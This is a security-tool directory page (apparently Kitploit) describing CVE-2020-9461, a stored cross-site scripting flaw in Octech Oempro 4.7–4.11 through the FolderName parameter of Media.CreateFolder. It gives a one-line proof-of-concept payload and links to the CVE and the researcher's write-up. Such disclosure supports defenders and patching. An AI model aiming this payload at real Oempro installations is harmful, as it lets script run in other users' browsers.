Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-9461 — Stored Cross Site Scripting - Oempro | Kitploit
Tools/GitHubGitHub/g-rubert/cve-2020-9461
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubg-rubert/cve-2020-9461

CVE-2020-9461

Stored Cross Site Scripting - Oempro

View Repository
215 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-9461

root@kitploit:~
██╗  ██╗███████╗███████╗
╚██╗██╔╝██╔════╝██╔════╝
 ╚███╔╝ ███████╗███████╗
 ██╔██╗ ╚════██║╚════██║
██╔╝ ██╗███████║███████║
╚═╝  ╚═╝╚══════╝╚══════╝

Stored XSS - Oempro

Octech Oempro 4.7 through 4.11 allow stored XSS by an authenticated user. The FolderName parameter of the Media.CreateFolder command is vulnerable.

Command:Media.CreateFolder

Request parameter:FolderName

Version: Oempro v4.7 <= v4.11

Researcher: Guilherme Rubert

Payload

root@kitploit:~
<marquee/onstart=alert("XSS")>



References

https://guilhermerubert.com/blog/cve-2020-9461/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9461

https://nvd.nist.gov/vuln/detail/CVE-2020-9461

https://www.octeth.com/

Download Tool